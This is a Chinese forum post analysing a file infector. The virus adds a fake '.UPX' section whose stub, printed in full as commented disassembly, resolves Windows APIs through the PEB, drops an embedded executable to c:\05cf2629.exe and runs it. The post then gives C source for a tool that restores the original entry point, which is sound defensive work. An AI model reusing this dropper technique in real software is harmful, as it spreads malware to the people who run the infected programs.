最近得到了个被感染的程序的样本,样本本身很简单,就是被添加了一个".UPX"节,伪装成加了壳的软件,修改了入口点,执行病毒代码.
00447000 > 55 push ebp
00447001 8BEC mov ebp, esp
00447003 81EC 8C000000 sub esp, 8C
00447009 64:A1 30000000 mov eax, dword ptr fs:[30]
0044700F 8945 D8 mov dword ptr [ebp-28], eax
00447012 C745 E8 00BA030>mov dword ptr [ebp-18], 3BA00 ; 这里在取要释放病毒的文件明
00447019 C745 C4 433A5C3>mov dword ptr [ebp-3C], 305C3A43
00447020 C745 C8 3563663>mov dword ptr [ebp-38], 32666335
00447027 C745 CC 3632392>mov dword ptr [ebp-34], 2E393236
0044702E C745 D0 6578650>mov dword ptr [ebp-30], 657865
00447035 8B45 D8 mov eax, dword ptr [ebp-28] ; 通过PEB得到kernel基地址
00447038 8B40 0C mov eax, dword ptr [eax+C]
0044703B 8B40 1C mov eax, dword ptr [eax+1C]
0044703E 8945 E4 mov dword ptr [ebp-1C], eax
00447041 8B45 E4 mov eax, dword ptr [ebp-1C]
00447044 8B00 mov eax, dword ptr [eax]
00447046 8945 E4 mov dword ptr [ebp-1C], eax
00447049 8B45 E4 mov eax, dword ptr [ebp-1C]
0044704C 8B40 08 mov eax, dword ptr [eax+8]
0044704F 8945 F4 mov dword ptr [ebp-C], eax ; 得到kernel基地址
00447052 8B45 F4 mov eax, dword ptr [ebp-C]
00447055 8B40 3C mov eax, dword ptr [eax+3C]
00447058 8B4D F4 mov ecx, dword ptr [ebp-C]
0044705B 8B55 F4 mov edx, dword ptr [ebp-C]
0044705E 035401 78 add edx, dword ptr [ecx+eax+78] ; 获取导出表
00447062 8955 DC mov dword ptr [ebp-24], edx
00447065 8B45 DC mov eax, dword ptr [ebp-24]
00447068 8B4D F4 mov ecx, dword ptr [ebp-C]
0044706B 0348 20 add ecx, dword ptr [eax+20]
0044706E 894D B0 mov dword ptr [ebp-50], ecx
00447071 8B45 DC mov eax, dword ptr [ebp-24]
00447074 8B4D F4 mov ecx, dword ptr [ebp-C]
00447077 0348 24 add ecx, dword ptr [eax+24]
0044707A 894D BC mov dword ptr [ebp-44], ecx
0044707D 8B45 DC mov eax, dword ptr [ebp-24]
00447080 8B4D F4 mov ecx, dword ptr [ebp-C]
00447083 0348 1C add ecx, dword ptr [eax+1C]
00447086 894D B8 mov dword ptr [ebp-48], ecx
00447089 C745 8C 4765745>mov dword ptr [ebp-74], 50746547 ; 取GetProcAddress字符串
00447090 C745 90 726F634>mov dword ptr [ebp-70], 41636F72
00447097 C745 94 6464726>mov dword ptr [ebp-6C], 65726464
0044709E C745 98 7373000>mov dword ptr [ebp-68], 7373
004470A5 8365 88 00 and dword ptr [ebp-78], 0
004470A9 EB 07 jmp short 004470B2
004470AB 8B45 88 mov eax, dword ptr [ebp-78] ; 循环查找GetProcAddress函数地址
004470AE 40 inc eax
004470AF 8945 88 mov dword ptr [ebp-78], eax
004470B2 8B45 DC mov eax, dword ptr [ebp-24]
004470B5 8B4D 88 mov ecx, dword ptr [ebp-78]
004470B8 3B48 18 cmp ecx, dword ptr [eax+18]
004470BB 0F83 8A000000 jnb 0044714B
004470C1 C785 7CFFFFFF 0>mov dword ptr [ebp-84], 1
004470CB 8365 80 00 and dword ptr [ebp-80], 0
004470CF 8365 84 00 and dword ptr [ebp-7C], 0
004470D3 8B45 88 mov eax, dword ptr [ebp-78]
004470D6 8B4D B0 mov ecx, dword ptr [ebp-50]
004470D9 8B55 F4 mov edx, dword ptr [ebp-C]
004470DC 031481 add edx, dword ptr [ecx+eax*4]
004470DF 8955 80 mov dword ptr [ebp-80], edx
004470E2 8D45 8C lea eax, dword ptr [ebp-74]
004470E5 8945 84 mov dword ptr [ebp-7C], eax
004470E8 8B45 84 mov eax, dword ptr [ebp-7C]
004470EB 0FBE00 movsx eax, byte ptr [eax]
004470EE 85C0 test eax, eax
004470F0 74 29 je short 0044711B
004470F2 8B45 84 mov eax, dword ptr [ebp-7C]
004470F5 0FBE00 movsx eax, byte ptr [eax]
004470F8 8B4D 80 mov ecx, dword ptr [ebp-80]
004470FB 0FBE09 movsx ecx, byte ptr [ecx]
004470FE 3BC1 cmp eax, ecx
00447100 74 09 je short 0044710B
00447102 83A5 7CFFFFFF 0>and dword ptr [ebp-84], 0
00447109 EB 10 jmp short 0044711B
0044710B 8B45 84 mov eax, dword ptr [ebp-7C]
0044710E 40 inc eax
0044710F 8945 84 mov dword ptr [ebp-7C], eax
00447112 8B45 80 mov eax, dword ptr [ebp-80]
00447115 40 inc eax
00447116 8945 80 mov dword ptr [ebp-80], eax
00447119 ^ EB CD jmp short 004470E8
0044711B 83BD 7CFFFFFF 0>cmp dword ptr [ebp-84], 1
00447122 75 22 jnz short 00447146
00447124 8B45 80 mov eax, dword ptr [ebp-80]
00447127 0FBE00 movsx eax, byte ptr [eax]
0044712A 85C0 test eax, eax
0044712C 75 18 jnz short 00447146
0044712E 8B45 88 mov eax, dword ptr [ebp-78]
00447131 8B4D BC mov ecx, dword ptr [ebp-44]
00447134 0FB70441 movzx eax, word ptr [ecx+eax*2]
00447138 8B4D B8 mov ecx, dword ptr [ebp-48]
0044713B 8B55 F4 mov edx, dword ptr [ebp-C]
0044713E 031481 add edx, dword ptr [ecx+eax*4]
00447141 8955 B4 mov dword ptr [ebp-4C], edx
00447144 EB 05 jmp short 0044714B
00447146 ^ E9 60FFFFFF jmp 004470AB
0044714B C745 8C 4765744>mov dword ptr [ebp-74], 4D746547 ; 取GetModuleHandleA字符串
00447152 C745 90 6F64756>mov dword ptr [ebp-70], 6C75646F
00447159 C745 94 6548616>mov dword ptr [ebp-6C], 6E614865
00447160 C745 98 646C654>mov dword ptr [ebp-68], 41656C64
00447167 8365 9C 00 and dword ptr [ebp-64], 0
0044716B 8D45 8C lea eax, dword ptr [ebp-74]
0044716E 50 push eax
0044716F FF75 F4 push dword ptr [ebp-C]
00447172 FF55 B4 call dword ptr [ebp-4C] ; 调用GetProcAddress得到GetModuleHandleA函数地址
00447175 8945 EC mov dword ptr [ebp-14], eax
00447178 C745 8C 4B65726>mov dword ptr [ebp-74], 6E72654B ; 取Kernel32.dll字符串
0044717F C745 90 656C333>mov dword ptr [ebp-70], 32336C65
00447186 C745 94 2E646C6>mov dword ptr [ebp-6C], 6C6C642E
0044718D 8365 98 00 and dword ptr [ebp-68], 0
00447191 8D45 8C lea eax, dword ptr [ebp-74]
00447194 50 push eax
00447195 FF55 EC call dword ptr [ebp-14] ; 调用 GetModuleHandleA得到Kernel32模块地址
00447198 8945 F4 mov dword ptr [ebp-C], eax
0044719B C745 8C 4372656>mov dword ptr [ebp-74], 61657243 ; 取CreateFileA字符串
004471A2 C745 90 7465466>mov dword ptr [ebp-70], 69466574
004471A9 C745 94 6C65410>mov dword ptr [ebp-6C], 0041656C
004471B0 8D45 8C lea eax, dword ptr [ebp-74]
004471B3 50 push eax
004471B4 FF75 F4 push dword ptr [ebp-C]
004471B7 FF55 B4 call dword ptr [ebp-4C] ; 得到CreateFileA函数地址
004471BA 8945 AC mov dword ptr [ebp-54], eax
004471BD C745 8C 5772697>mov dword ptr [ebp-74], 74697257 ; 取WriteFile字符串
004471C4 C745 90 6546696>mov dword ptr [ebp-70], 6C694665
004471CB C745 94 6500000>mov dword ptr [ebp-6C], 65
004471D2 8D45 8C lea eax, dword ptr [ebp-74]
004471D5 50 push eax
004471D6 FF75 F4 push dword ptr [ebp-C]
004471D9 FF55 B4 call dword ptr [ebp-4C] ; 得到WriteFile函数地址
004471DC 8945 E0 mov dword ptr [ebp-20], eax
004471DF C745 8C 436C6F7>mov dword ptr [ebp-74], 736F6C43 ; 取CloseHandle字符串
004471E6 C745 90 6548616>mov dword ptr [ebp-70], 6E614865
004471ED C745 94 646C650>mov dword ptr [ebp-6C], 656C64
004471F4 8D45 8C lea eax, dword ptr [ebp-74]
004471F7 50 push eax
004471F8 FF75 F4 push dword ptr [ebp-C]
004471FB FF55 B4 call dword ptr [ebp-4C] ; 得到CloseHandle函数地址
004471FE 8945 F0 mov dword ptr [ebp-10], eax
00447201 C745 8C 57696E4>mov dword ptr [ebp-74], 456E6957 ; 取WinExec字符串
00447208 C745 90 7865630>mov dword ptr [ebp-70], 636578
0044720F 8D45 8C lea eax, dword ptr [ebp-74]
00447212 50 push eax
00447213 FF75 F4 push dword ptr [ebp-C]
00447216 FF55 B4 call dword ptr [ebp-4C] ; 得到WinExec函数地址
00447219 8945 FC mov dword ptr [ebp-4], eax
0044721C 6A 00 push 0
0044721E 68 80000000 push 80
00447223 6A 02 push 2
00447225 6A 00 push 0
00447227 6A 00 push 0
00447229 68 000000C0 push C0000000
0044722E 8D45 C4 lea eax, dword ptr [ebp-3C]
00447231 50 push eax
00447232 FF55 AC call dword ptr [ebp-54] ; 创建c:\05cf2629.exe
00447235 8945 C0 mov dword ptr [ebp-40], eax
00447238 837D C0 FF cmp dword ptr [ebp-40], -1
0044723C 0F84 92000000 je 004472D4
00447242 E8 00000000 call 00447247
00447247 58 pop eax
00447248 8985 78FFFFFF mov dword ptr [ebp-88], eax ; 循环查找要释放的病毒体
0044724E 83A5 74FFFFFF 0>and dword ptr [ebp-8C], 0
00447255 EB 0D jmp short 00447264
00447257 8B85 74FFFFFF mov eax, dword ptr [ebp-8C]
0044725D 40 inc eax
0044725E 8985 74FFFFFF mov dword ptr [ebp-8C], eax
00447264 81BD 74FFFFFF F>cmp dword ptr [ebp-8C], 1F4
0044726E 7D 64 jge short 004472D4
00447270 8B85 78FFFFFF mov eax, dword ptr [ebp-88]
00447276 0FBE00 movsx eax, byte ptr [eax]
00447279 83F8 4D cmp eax, 4D
0044727C 75 47 jnz short 004472C5
0044727E 8B85 78FFFFFF mov eax, dword ptr [ebp-88]
00447284 0FB700 movzx eax, word ptr [eax]
00447287 3D 4D5A0000 cmp eax, 5A4D
0044728C 75 37 jnz short 004472C5
0044728E 8B85 78FFFFFF mov eax, dword ptr [ebp-88]
00447294 0FB740 02 movzx eax, word ptr [eax+2]
00447298 3D 90000000 cmp eax, 90 ; 找到PE头下一个字节为90标记的,说明找到了病毒体
0044729D 75 26 jnz short 004472C5
0044729F 6A 00 push 0
004472A1 8D45 F8 lea eax, dword ptr [ebp-8]
004472A4 50 push eax
004472A5 FF75 E8 push dword ptr [ebp-18]
004472A8 FFB5 78FFFFFF push dword ptr [ebp-88]
004472AE FF75 C0 push dword ptr [ebp-40]
004472B1 FF55 E0 call dword ptr [ebp-20] ; 写入数据
004472B4 FF75 C0 push dword ptr [ebp-40]
004472B7 FF55 F0 call dword ptr [ebp-10]
004472BA 6A 05 push 5
004472BC 8D45 C4 lea eax, dword ptr [ebp-3C]
004472BF 50 push eax
004472C0 FF55 FC call dword ptr [ebp-4] ; 完成后执行释放的病毒
004472C3 EB 0F jmp short 004472D4
004472C5 8B85 78FFFFFF mov eax, dword ptr [ebp-88]
004472CB 40 inc eax
004472CC 8985 78FFFFFF mov dword ptr [ebp-88], eax
004472D2 ^ EB 83 jmp short 00447257
004472D4 C9 leave
004472D5 83C4 04 add esp, 4
004472D8 >- E9 6A16FCFF jmp 00408947 ; 跳到原程序入口
至于释放的那个病毒行为,我还没具体分析,有兴趣的朋友可以自己去看看。
我们现在来写修复工具吧,顺便复习下我的SDK编程。这个修复工具只是简单的找到原程序的入口点,并修改回原程序的入口点。
由于自己只是针对该被感染的程序写的修复工具,所以没有考虑太多,接下来直接贴代码。
#include "stdafx.h"
HINSTANCE g_hIn;
char szCharacter[]={0xC9,0x83,0xC4,0x04,0xE9};
BOOL ClearVirus(char *szFileName)
{
char szOffset[4];
DWORD *dwTemp;
char *p;
int i;
PIMAGE_DOS_HEADER pDos=NULL;
PIMAGE_NT_HEADERS pNT=NULL;
PIMAGE_SECTION_HEADER pHead=NULL;
PIMAGE_OPTIONAL_HEADER pOption=NULL;
PIMAGE_FILE_HEADER pFile=NULL;
HANDLE hFile=CreateFile(szFileName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,NULL);
if (hFile==NULL)
{
MessageBox(NULL,"打开文件失败","Note",MB_OK);
return FALSE;
}
HANDLE hMapFile=CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,NULL);
if (hMapFile==NULL)
{
DWORD dwError=GetLastError();
MessageBox(NULL,"创建文件映射失败","Note",MB_OK);
return FALSE;
}
LPVOID lpAdd=MapViewOfFile(hMapFile,FILE_MAP_ALL_ACCESS,0,0,0);
if (lpAdd==NULL)
{
MessageBox(NULL,"映射文件失败.","Note",MB_OK);
return FALSE;
}
pDos=(PIMAGE_DOS_HEADER)lpAdd;
pNT=(PIMAGE_NT_HEADERS)(pDos->e_lfanew+(DWORD)lpAdd);
DWORD dwSection=pNT->FileHeader.NumberOfSections;
pFile=&pNT->FileHeader;
pOption=&pNT->OptionalHeader;
pHead=(PIMAGE_SECTION_HEADER)((DWORD)pOption+pFile->SizeOfOptionalHeader);
for (i=0;i<dwSection;i++)
{
if (strcmp((char*)pHead->Name,".UPX")==0)
{
break;
}
pHead++;
}
DWORD dwSize=pHead->SizeOfRawData;
char *pCode=(char*)(pHead->PointerToRawData+(DWORD)lpAdd);
for (i=0;i<dwSize;i++)
{
if (pCode[i]==szCharacter[0]&&pCode[i+1]==szCharacter[1]&&pCode[i+2]==szCharacter[2]&&pCode[i+3]==szCharacter[3]&&pCode[i+4]==szCharacter[4])
{
p=&pCode[i+5];
dwTemp=(DWORD*)p; //得到偏移代码的地址
DWORD dwOffsetCode=*dwTemp; //取内容,得到偏移代码
p=&pCode[i+9];
dwTemp=(DWORD*)p; //得到下条指令
DWORD dwEntry=(DWORD)dwTemp+dwOffsetCode+0x3000-(DWORD)lpAdd;//得到原程序入口点
pOption->AddressOfEntryPoint=dwEntry; //还原入口点
if (lpAdd!=NULL)
{
UnmapViewOfFile(lpAdd);
lpAdd=NULL;
}
CloseHandle(hMapFile);
CloseHandle(hFile);
return TRUE;
}
}
if (lpAdd)
{
lpAdd=NULL;
UnmapViewOfFile(lpAdd);
}
CloseHandle(hMapFile);
CloseHandle(hFile);
return FALSE;
}
LRESULT CALLBACK WindowProc(
HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
switch(uMsg)
{
case WM_CREATE:
{
CreateWindowEx(0,"button","Clear",WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON,150,100,80,30,
hwnd,(HMENU)IDC_BUTTON,g_hIn,NULL);
}
break;
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case IDC_BUTTON:
{
OPENFILENAME ofn;
char szFile[260];
ZeroMemory(&ofn, sizeof(ofn));
ofn.lStructSize =sizeof(ofn);
ofn.hwndOwner =hwnd;
ofn.lpstrFile =szFile;
ofn.lpstrFile[0] ='\0';
ofn.nMaxFile =sizeof(szFile);
ofn.lpstrFilter = "All\0*.*\0Text\0*.TXT\0";
ofn.nFilterIndex = 1;
ofn.lpstrFileTitle = NULL;
ofn.nMaxFileTitle = 0;
ofn.lpstrInitialDir = NULL;
ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
GetOpenFileName(&ofn);
if (ClearVirus(szFile))
{
MessageBox(hwnd,"文件修复成功.","Note",MB_OK);
}
else
MessageBox(hwnd,"文件修复失败.","Note",MB_OK);
}
break;
}
}
break;
case WM_CLOSE:
PostQuitMessage(WM_CLOSE);
break;
}
return DefWindowProc(hwnd,uMsg,wParam,lParam);
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
g_hIn=hInstance;
char szClassName[]="Clear";
WNDCLASSEX wd;
wd.cbSize=sizeof(wd);
wd.cbClsExtra=0;
wd.cbWndExtra=0;
wd.hbrBackground=(HBRUSH)GetStockObject(GRAY_BRUSH);
wd.hCursor=NULL;
wd.hIcon=NULL;
wd.hIconSm=NULL;
wd.hInstance=hInstance;
wd.lpfnWndProc=WindowProc;
wd.lpszClassName=szClassName;
wd.lpszMenuName=NULL;
wd.style=CS_HREDRAW|CS_VREDRAW;
RegisterClassEx(&wd);
HWND hwnd=CreateWindowEx(0,szClassName,"Clear Virus",WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,
400,300,NULL,NULL,hInstance,NULL);
if (hwnd==NULL)
{
MessageBox(NULL,"CreateWindow fail.","Note",MB_OK);
return 0;
}
ShowWindow(hwnd,nCmdShow);
UpdateWindow(hwnd);
MSG msg;
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
- 标 题:一个被感染程序的分析和清除工具的编写
- 作 者:wumingpeng
- 时 间:2010-11-11 16:12:15
- 链 接:http://bbs.pediy.com/showthread.php?t=124605